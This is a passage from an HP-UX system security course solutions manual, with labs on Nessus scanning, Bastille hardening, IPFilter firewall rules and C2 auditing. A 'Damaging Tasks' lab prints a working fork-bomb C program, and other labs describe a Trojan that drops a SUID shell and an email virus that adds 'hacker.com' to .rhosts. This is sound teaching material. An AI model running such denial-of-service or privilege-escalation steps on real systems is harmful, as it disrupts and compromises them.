Enter your country, state/province, location, and organization. Accept the defaults for
the other questions.

6. Create a Nessus user (Nessus users are unrelated to /etc/passwd users. You can use
any name you wish). You will have a choice between authenticating the user using a
password or a certificate. Choose the pass (password) option. Remember your Nessus
username and password – you will need it later!

H3051S D.02 Solutions-104 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

# /secure/nessus/sbin/nessus-adduser
Login : mynessususer
Authentication (pass/cert) [pass] : pass
Password : xxx

Eventually, you will be asked to enter one or more Nessus rules for your user. These
rules determine which hosts your user will be allowed to scan. Hit ^D to exit.
7. Start the Nessus daemon.

# /secure/nessus/sbin/nessusd –D

You may see see several 'unresolved symbol' warning messages, but the daemon should
launch successfully.

Part II: Running Nessus

1. Start the Nessus GUI client.

# /secure/nessus/bin/nessus

2. Click on the Nessusd host tab, and enter your hostname and Nessus username in the
appropriate fields.

Nessusd host: myhost

Port: 1241
Login: mynessususer
Password: xxx

Click the Log in button.

3. When the SSL setup screen appears, choose the first option, “Display and remember the
server certificate, do not care about CA” since we will run the Nessus server and client on
the same host.

x Display and remember the server certificate, do not care about

CA

Click OK to close the SSL setup window.

4. Click the Plugins tab to select the plugins you wish to include in your scan.

• View the list of plugin categories in the Plugin Selection pane at the top of the
window.
• Single-click the SMTP problems plugin.
• This should display a long list of SMTP related plugins in the bottom pane.
• Single-click the EXPN and VRFY commands plugin.
• This should open a window that explains the vulnerability in detail.
• Read the description, then close the popup window.
• Explore some of the other available plugin descriptions.

http://education.hp.com Solutions-105 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

5. Select the plugins to include in your scan.

• Click Enable all but dangerous plugins.

• The checkboxes on the right side of the screen should indicate the selected plugins.
• Dangerous plugins are indicated by a “!” sign and may crash the target system!
• Click the Enable dependencies checkbox to autoselect any dependent plugins.
6. Click the Prefs tab to view some of the plugin configurable parameters.

• Accept all of the defaults.

7. Click the Scan options tab.

• Run your mouse over some of the fields on this screen to view explanations.
• If time permits, set Port range to 1-65536 to do a more comprehensive scan.
8. Click the Target selection tab.

• Enter your hostname as the target host.

9. Click Start the scan!

• A window should open momentarily.

• Watch the Portscan and Attack status bars to monitor progress.
• Eventually, a Nessus Report window should appear.
(Note that the Nessus status bars are misleading. You may have to wait several
minutes after the status bar claims that the attack is complete before the results
window to appears)
10. On the Nessus Report screen:

• In the Subnet pane, click your host’s subnet.

• In the Host pane, click your hostname.
• In the Port pane, browse the list of ports scanned on your host.
− Lightbulb icons indicate informational messages.
− Exclamation point (!) icons indicate warnings.
− Red dot icons indicate security holes.
• In the Port pane, select a port that has an icon to the left.
• In the Severity pane, select one of the icons.
• In the explanation pane at bottom right, read the vulnerability explanation.
• Browse a few of the vulnerabilities.

H3051S D.02 Solutions-106 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

11. When you are done browsing, click the Save report button.
• Enter filename /root/report.
• Choose the HTML report file format.
• Click Ok to save.
12. Click Save report again.
• Enter filename /root/graphs.
• Choose the HTML with Pies and Graphs file format.
• Click Ok to save.
13. Close all of the Nessus windows.

14. Use your web browser to view your HTML reports.

# netscape file:/root/report.html
# netscape file:/root/graphs/index.html

http://education.hp.com Solutions-107 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

17–8. LAB: Configuring and Running Bastille

Directions
Carefully follow the instructions below.

1. Use swlist to verify that Bastille and Perl exist on your system, then add the associated
binary directories to your PATH variable.

# swlist B6849AA perl

# PATH=/opt/sec_mgmt/bastille/bin:/opt/perl/bin:$PATH

2. Run the bastille GUI interface. Read through the checklist questions and explanations
carefully. Accept each of the recommended suggestions.

Answer:

# bastille

3. After you finish working through the checklist, allow Bastille to save your selections, but
don’t apply them yet.

[Save Configuration]
[Exit Without Changing System]

4. Let’s not configure an IPFilter firewall after all, since we’ll have a chance to do that
manually later in the course. Use the vi editor to change your IPFilter answer to “N” in
the /etc/opt/sec_mgmt/bastille/config file.

Answer:

# vi /etc/opt/sec_mgmt/bastille/config
HP_UX.stack_execute=”N”
IPFilter.configure_ipfilter="N"

5. Now apply your changes by running bastille -b non-interactively.

Answer:

# bastille –b

6. Look for errors in /var/opt/sec_mgmt/bastille/log/error-log file.

Answer:

# more /var/opt/sec_mgmt/bastille/log/error-log

There shouldn’t be any errors in the log.

7. Read the /var/opt/sec_mgmt/bastille/TODO.txt. Are any manual steps

required? Read the file, but don’t actually make any manual changes to the system since

H3051S D.02 Solutions-108 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

we will revert to the pre-Bastille configuration momentarily.

8. What changes did bastille make? Do you see any changes in /etc/passwd? Do you
see any changes in /etc/inetd.conf? Is the NFS server daemon still enabled in
/etc/rc.config.d/nfsconf?

Answer:

/etc/passwd suggests that the system has been converted to a trusted system. Many
entries in /etc/inetd.conf were commented out. NFS is still running, but will not
be restarted after the next reboot. These are just a few changes that occurred.

9. Do whatever is necessary to revert to your pre-Bastille configuration.

Answer:

# bastille –r

http://education.hp.com Solutions-109 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

18–21. LAB: Configuring an IPFilter System Firewall

Directions
Follow the instructions below carefully.

Part I: Preliminary Steps

This lab walks you through the process required to configure an IPFilter system firewall. You
will configure an IPFilter system firewall on your system, and test your configuration from
the instructor’s host. Record your IP address and the instructor’s IP Address below:
Your Firewall IP: _______________
Instructor IP: _______________
1. If you are accessing your student workstation remotely, make sure you are logged onto
the system console or the GSP/MP console, as we will be disabling inbound telnet and
other remote login services during the course of the lab.

2. The lab exercise assumes that you only have one LAN interface, lan0. If you have
multiple LAN interfaces, use the ifconfig command to disable all interfaces except the
interface whose IP you recorded above. If the remaining interface is lan1, or some other
interface, use your interface name rather than lan0 throughout the remainder of the lab.

# ifconfig lan1 down

3. Run the /labs/scripts/firewall script to configure DNS, NTP, and Apache for use
later in the lab. Verify that your instructor ran this script on the instructor station, too.

# /labs/scripts/firewall

4. Verify that your sshd daemon is running.

# /opt/ssh/sbin/sshd

Part II: Installing IPFilter

1. Verify that your firewall system has the IPFilter product installed. If not, the software can
be downloaded from http://software.hp.com.

firewall# swlist B9901AA

2. Verify that the IPFilter drivers are loaded in the kernel.

# kmadmin -s | grep pf
pfil 2 LOADED STREAMS
ipf 3 LOADED WSIO

H3051S D.02 Solutions-110 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

3. Verify that IPFilter is enabled and running. Also verify that ipmon logging is enabled.

firewall# vi /etc/rc.config.d/ipfconf
IPF_START=1
IPMON_START=1
firewall# /sbin/init.d/ipfboot start

4. Flush all IPFilter rulesets (if any) from memory and purge the /etc/ipf.conf file.

firewall# ipf –Fa

firewall# > /etc/ipf.conf

Part III: Configuring IPFilter

Now that you have the software installed, configure a ruleset for your firewall! Be sure to
flush and reload the ruleset from /etc/ipf.conf after each question so you can verify your
file syntax.

NOTE: The order of the rules in the /etc/ipf.conf file is significant. For the
remainder of the lab, unless the instructions suggest otherwise, each rule
should be appended to the end of /etc/ipf.conf.

Also note that some of the rules in this exercise were too long to fit on a single
line. The lab uses “...” to indicate line continuation. However, the dots should
not be included in the /etc/ipf.conf file.

1. In order to ensure maximum protection, it is wise to use a “default deny” policy that
blocks all packets, then selectively enables the services you wish to allow. Configure a
default deny policy to block all incoming and outgoing packets.

firewall# vi /etc/ipf.conf
block in log from any to any
block out log from any to any
firewall# ipf –Fa –f /etc/ipf.conf

2. There are three blocks of “non-routable” IP addresses that should only be used on
internal networks. If an interface card connected to the public Internet receives a packet
that claims to come from an IP address in these non-routable ranges, and you don’t use
non-routable addresses on your Intranet, the packet may be a spoof. Add appropriate
rules to your ipf.conf file to explicitly block inbound packets to these IPs (if your
classroom network uses one or more of these unroutable addresses, skip this question).

firewall# vi /etc/ipf.conf
block in log quick on lan0 from 192.168.0.0/16 to any
block in log quick on lan0 from 172.16.0.0/12 to any
block in log quick on lan0 from 10.0.0.0/8 to any
firewall# ipf –Fa –f /etc/ipf.conf

3. If your network doesn’t use non-routable addresses, you should block outbound packets
to these IPs, too, to avoid becoming a relay host for hackers’ attacks.

http://education.hp.com Solutions-111 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

firewall# vi /etc/ipf.conf
block out log quick on lan0 from any to 192.168.0.0/16
block out log quick on lan0 from any to 172.16.0.0/12
block out log quick on lan0 from any to 10.0.0.0/8
firewall# ipf –Fa –f /etc/ipf.conf

4. What is the purpose of the purpose of the quick keyword in the rules in the previous
question? What would happen if you included the quick keyword in the rules you
defined in question #1?

Answer:

Normally, IPFilter processes the entire ruleset before it decides whether a packet should
be blocked or passed. However, if it encounters a matching rule that includes the quick
keyword, IPFilter immediately blocks or passes the packet based on that matching rule,
without evaluating the remaining rules in the ruleset.

If we added the quick keyword to the first two rules in the ruleset, IPFilter wouldn’t
allow any packets through the firewall since it would never get past those first two rules.

block in log quick from any to any

block out log quick from any to any

5. Some hackers try to send packets to remote systems using a spoofed loopback address as
a source IP. Ensure that 127.*.*.* packets are allowed in and out via the lo0 loopback
interface, but never via the lan0 interface.

firewall# vi /etc/ipf.conf
pass in quick on lo0 all
pass out quick on lo0 all
block in log quick from any to 127.0.0.0/8
block out log quick from 127.0.0.0/8 to any
firewall# ipf –Fa –f /etc/ipf.conf

6. Many attacks in recent years have been perpetrated via the ICMP protocol. Unless you
have reason to allow external hosts to ping your system, consider blocking ICMP
protocol packets from unauthorized sources. For the purpose of this lab, allow your
system to ping anyone, but block incoming ICMP packets from all other hosts.

firewall# vi /etc/ipf.conf
pass out quick proto icmp from any to any keep state
block in log quick proto icmp from any to any
firewall# ipf –Fa –f /etc/ipf.conf

H3051S D.02 Solutions-112 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

7. Since the lab setup script configured your system as a DNS server, add a few lines to
enable inbound and outbound DNS queries. Also enable outbound NTP queries. Disable
all other UDP services.

firewall# vi /etc/ipf.conf
pass out quick proto udp from firewall/32 to any port = 123 …
keep state
pass out quick proto udp from firewall/32 to any port = 53 …
keep state
pass in quick proto udp from any to firewall/32 port = 53 …
keep state
block in log quick proto udp from any to any
block out log quick proto udp from any to any
firewall# ipf –Fa –f /etc/ipf.conf

8. Since you may need to browse the HP ITRC from your server occasionally, enable
outbound (but not inbound) HTTP access. Also allow outbound telnet access so you
can access remote systems if necessary. Wait until the next question to block all other
TCP services…

firewall# vi /etc/ipf.conf
pass out quick proto tcp from firewall/32 to any port = 80 …
flags S keep state
pass out quick proto tcp from firewall/32 to any port = 23 …
flags S keep state
firewall# ipf –Fa –f /etc/ipf.conf

9. Finally, to facilitate uploading files to your server, enable inbound and outbound active
FTP access. Block all other TCP services.

firewall# vi /etc/ipf.conf
pass in quick proto tcp from any port > 1023 to firewall/32 …
port = 21 flags S keep state # server control port
pass out quick proto tcp from any port = 20 to any …
port > 1023 flags S keep state # server data port
pass out quick proto tcp from firewall/32 port > 1023 to any …
port = 21 flags S keep state # client control port
pass in quick proto tcp from any port = 20 to firewall/32 …
port > 1023 flags S keep state # client data port
block in log quick proto tcp from any to any
block out log quick proto tcp from any to any
firewall# ipf –Fa –f /etc/ipf.conf

10. View the completed firewall ruleset with the rule numbers. You may want to print a copy
of the output to review during the next portion of the lab.

# ipfstat -ion

http://education.hp.com Solutions-113 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

Part IV: Testing your IPFilter Configuration

1. Open a second window on your desktop and telnet to your instructor’s host. Leave this
window open for the duration of the lab.

# telnet instructor

2. Use the ping commands listed below to verify your ICMP filtering. Can you determine
which rule in the ruleset is responsible for blocking or allowing each ping?

firewall# ping loopback

firewall# ping instructor
instructor# ping firewall

Answer:

• Any attempt to access the loopback address via the lo0 interface will be passed through
via the following rule:

pass in quick on lo0 all

• The attempt to ping the instructor station from the firewall should be passed through via
the following rule:

pass out quick proto icmp from any to any keep state

• The attempt to ping the firewall from the instructor station should be blocked by the
following rule:

block in log quick proto icmp from any to any

H3051S D.02 Solutions-114 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

3. Use the ntpq commands listed below to verify your NTP filtering. Can you determine
which rule in the ruleset is responsible for blocking or allowing each command?

firewall# ntpq -p loopback

firewall# ntpq -p instructor
instructor# ntpq -p firewall

Answer:

• Any attempt to access the loopback address via the lo0 interface will be passed through
via the following rule:

pass in quick on lo0 all

• The attempt to ntpq the instructor station from the firewall should be passed through via
the following rule:

pass out quick proto udp from firewall/32 to any port = 123 …
keep state

• The attempt to ntpq the firewall from the instructor station should be blocked by the
following rule:

block in log quick proto udp from any to any

4. Use the telnet commands listed below to verify your TCP filtering. Can you determine
which rule in the ruleset is responsible for blocking or allowing each command?

firewall# telnet loopback

firewall# telnet instructor
instructor# telnet firewall

Answer:

• Any attempt to access the loopback address via the lo0 interface will be passed through
via the following rule:

pass in quick on lo0 all

• The attempt to telnet to the instructor station from the firewall should be blocked via
the following rule:

block out log quick proto tcp from any to any

• The attempt to telnet to the firewall from the instructor station should be blocked by
the following rule:

block in log quick proto tcp from any to any

http://education.hp.com Solutions-115 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

5. Use the telnet commands listed below to verify your HTTP filtering. Attempt to access
the index.html web page via Apache server port 80 in each case. Note that Apache
won’t prompt for a password; type the GET command immediately after the connection is
established. If you get a slew of HTML code in response, assume that your request
passed through the firewall! If the firewall causes the GET command appears to hang, hit
^C to terminate the connection. Can you determine which rule in the ruleset is
responsible for blocking or allowing each command?

firewall# telnet loopback 80

GET /index.html
firewall# telnet instructor 80
GET /index.html
instructor# telnet firewall 80
GET /index.html

Answer:

• Any attempt to access the loopback address via the lo0 interface will be passed through
via the following rule:

pass in quick on lo0 all

• The attempt to access the instructor station HTTP port from the firewall should be
passed out via the following rule:

pass out quick proto tcp from firewall/32 to any port = 80 …

flags S keep state

• The attempt to access the firewall HTTP port from the instructor station should be
blocked via the following rule:

block in log quick proto tcp from any to any

6. Use the ftp commands listed below to verify your FTP filtering. Can you determine
which rule(s) in the ruleset is/are responsible for blocking or allowing each command?

firewall# ftp loopback

ftp> ls

firewall# ftp instructor

ftp> ls

instructor# ftp firewall

ftp> ls

Answer:

• Any attempt to access the loopback address via the lo0 interface will be passed through
via the following rule:

H3051S D.02 Solutions-116 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

pass in quick on lo0 all

• The attempt to connect to the instructor station FTP port from the firewall should
succeed because of the following rule:

pass out quick proto tcp from firewall/32 port > 1023 to any …
port = 21 flags S keep state # client control port

The FTP ls command succeeds as a result of the following data port rule:

pass in quick proto tcp from any port = 20 to firewall/32 …

port > 1023 flags S keep state # client data port

• The attempt to FTP from the instructor station to the firewall should succeed because of
the following rule:

pass in quick proto tcp from any port > 1023 to firewall/32 …
port = 21 flags S keep state

7. What happens if you attempt to connect to the firewall from the instructor station via passive
FTP?

instructor# ftp firewall

ftp> passive
ftp> ls

Answer:

The initial connection succeeds since active and passive FTP both use the same control
ports. However, the ls command should hang since the firewall hasn’t been configured to
allow passive FTP access.

Part V: Cleanup
1. Flush your ruleset from memory and purge the /etc/ipf.conf file.

# ipf –Fa
# >/etc/ipf.conf

2. Before continuing on to the next chapter, restore your system to its original state by
running the netfiles script. When asked if you wish to reboot your system, answer
yes.

# /labs/scripts/netfiles -r INITIAL

http://education.hp.com Solutions-117 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

19–8. LAB: Damaging Tasks

Part I: Process Table Denial of Service Attack

Sometimes hackers wreak havoc on a target system by using so many of the target's system
resources that legitimate users can't access the resources they need. This example shows
how easy it is for a hacker to perpetrate this type of denial of service attack.
1. Login as user1. Create the following denial-of-service program:

$ vi lots_proc.c
main()
{
while (1)
fork();
}

2. Compile the program:

$ /usr/local/bin/gcc lots_proc.c -o lots_proc

3. Launch the “denial-of-service” attack on your system by executing:

$ ./lots_proc &

Try to recover from the attack on your own. If you need help, go to step 4.

4. One way to recover from the denial-of-service attack is to first start a shell with extremely
high priority such that it can get the CPU without waiting. BE VERY CAREFUL WHEN
RUNNING THIS SHELL.

# rtprio 1 sh

5. Once the shell starts (this could take a couple of minutes – maybe even a couple of tries)
stop all the lots_proc processes by executing:

# kill –STOP $(ps –ef | grep lots_proc | grep –v grep | cut –c10-14)

6. Once all the processes are stopped, kill them:

# kill -KILL $(ps –ef | grep lots_proc | grep –v grep | cut –c10-14)

H3051S D.02 Solutions-118 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

Part II: Trojan Horse Attack

Recall that a Trojan horse is a program that appears to provide some useful functionality, but
which also, unbeknownst to the user, compromises the system's integrity or security. A
sample Trojan horse program has been loaded on your system under the
/usr/contrib/bin directory. Perform this portion of the lab while logged in as root.
1. First, do an ll on the /tmp directory. Are there any suspicious-looking files in /tmp
currently?

Answer:

Hopefully, no ...

2. Run the Trojan horse program by typing:

# /usr/contrib/bin/tetris

3. Is there any outward indication that the program is a security problem?

Answer:

No. By all outward appearances, this is just an HP-UX implementation of the popular
arcade game

4. After completing the game, examine the /tmp directory again. Do you see anything
suspicious now? Explain!

Answer:

Yes! There should be an SUID shell in /tmp now called /tmp/tetris_shell. This
SUID program was created by Trojan Horse code in the tetris executable.

5. What should you do to avoid this type of problem on your system back home?

Answer:

Avoid installing contributed software on your system from unknown sources. If you must
run contributed software, avoid running it while logged in as root.

http://education.hp.com Solutions-119 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

Part III: Virus Attack

In recent years, email attachments have often been used as hosts for viruses. This exercise
will expose you to just such a virus!
1. Log into CDE as root, then click on the envelope icon in the CDE front panel to launch
the dtmail utility.

2. You should have a message in your mailbox regarding the procedure for installing a new
version of dbase. Read and follow the instructions contained in the message.

3. What happened? Take a look at your .rhosts file to find out!

Answer:

Executing the attachment adds "hacker.com" to your ~/.rhosts file, then propagates
the virus to all the users in the /etc/passwd file.

4. Did the virus propagate itself? Logout, then log back in again as user1 to find out!

Answer:

Yes! It propagated to every user's mailbox.

5. What should you do to avoid this situation on your system back home?

Answer:

Never open questionable email attachments.

H3051S D.02 Solutions-120 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

A–10. LAB: Trusted Systems: Auditing

Part I: Basic Auditing Configuration

This lab requires the system to be configured as a C2 trusted system. Please ensure the
system is configured as a C2 trusted system by using SAM.
1. Use SAM to verify the system is a C2 trusted system:

# sam
enter Auditing & Security
enter Auditing Users

If the trusted system functionality isn't yet enabled, enable it now! Then exit SAM.

2. Display the current status of the auditing subsystem.

# audsys

Question: Is auditing currently turned ON?

3. Enable auditing to log to the file /.secure/etc/audlog1 with a max size of 4 MB. Specify
an auxiliary file of /.secure/etc/audlog2 with a max size of 5 MB.:

# audsys –n –c /.secure/etc/audlog1 –s 4000 \

–x /.secure/etc/audlog2 –z 5000

Verify auditing was configured properly by executing audsys with no arguments.

# audsys

4. When auditing is first enabled, which users are audited by default? Use audusr
command to find out.

# audusr

5. When auditing is first enabled, which events are audited by default? Use audevent
command to find out.

# audevent

6. In order to generate some data in the audit log, telnet into your system and login as user8.

Do an ll, then immediately exit.

# telnet localhost
$ ll
$ exit

http://education.hp.com Solutions-121 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

7. View the audit log.

# audisp /.secure/etc/audlog1

Answer the following questions about the content of data logged:

a. How many system calls were logged?

b. Which system calls were logged the most?

c. How can only the system calls for user8 be displayed?

d. Is it useful to have this much data being logged over such a short period of time?

Answer:

a. audisp /.secure/etc/audlog1 | grep –c –e moddac –e login –e

admin

b. Collect output from last answer; should be login system call

c. audisp –u user8

d. Only if someone will take the time to review and interpret it

8. Turn off the auditing subsystem.

# audsys –f

9. Clear the audit log files before moving on.

# >/.secure/etc/audlog1
# >/.secure/etc/audlog2

Part II: Auditing Specific Users and Events

Because auditing generates so much data, it is often desirable to enable auditing for selected
users, rather than all users.
1. Disable auditing for all users.

# audusr –D

2. Re-enable auditing for user8.

# audusr -a user8

3. See if your configuration worked.

# audusr

H3051S D.02 Solutions-122 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

4. Disable auditing for all events.

# audevent -p -f –E

5. Re-enable auditing of successful and failed modacc and login events. The moddac event
family includes all system calls that change the attributes of a file (chmod, chown, etc.).
The login event logs user logins. To see a full list of available events and system calls, see
the audevent man page.

# audevent -P -F -e moddac -e login

6. Ensure that your event auditing configurations succeeded.

# audevent

7. Now turn auditing back on.

# audsys –n –c /.secure/etc/audlog1 –s 4000 \

–x /.secure/etc/audlog2 –z 5000

8. In order to generate some data in the logs, telnet into your host as user8 and try to
change the permissions on the /usr/bin/login utility. Then immediately exit.

# telnet localhost
$ chmod 4777 /usr/bin/sh
$ exit

9. Turn off auditing.

# audsys –f

10. View the audit log.

# audisp /.secure/etc/audlog1

a. Do you see any record of user8's login?

b. Does the audit log indicate the user name?

c. Does the audit log indicate when the login occurred?

d. Why not just look at last/lastb output for this information?

e. Do you see any record of the attempted chmod in the audit log?

f. How can you determine if the chmod was successful?

g. Can you determine what file was being chmod?

h. Can you determine what new permissions the user tried to assign?

http://education.hp.com Solutions-123 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

i. What other types of system calls appear in the audit log?

j. Do you see any other chmod in the audit log?

k. What types of chmod calls will you be looking for in an audit log?

Answer:

a. audisp /.secure/etc/audlog1 | grep user8

b. Yes

c. Yes; do the audisp command and pipe through more

d. You will not be able to see group and effective uid information

e. Yes

f. Look for S or F in the appropriate field (means success or failure).

g. Yes

h. Not immediately, must convert to octal.

i. chown, logoff, umask

j. Yes

k. One where root was the owner of a file and a non-root user invoked the command.

11. (Optional) Write a short ‘C’ program to convert the decimal number to octal.
# vi /secure/octal.c

main()
{
long num;
printf (“Please enter the number to be converted into octal: “);
scanf (“%d”, &num);
printf (“The decimal value %d has an octal value %o\n\n”, num, num);
}

# gcc /secure/octal.c –o /secure/octal

# chmod 755 /secure/octal
# /secure/octal # enter "PARAM#2" from the chmod audit entry
12. In SAM, unconvert the trusted system back to a minimal Level D security system.

H3051S D.02 Solutions-124 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

Part III: Cleanup

Before continuing on to the next chapter, restore your system to its original state by running
the netfiles script. When asked if you wish to reboot your system, answer yes.

# /labs/scripts/netfiles -r INITIAL

http://education.hp.com Solutions-125 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

H3051S D.02 Solutions-126 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.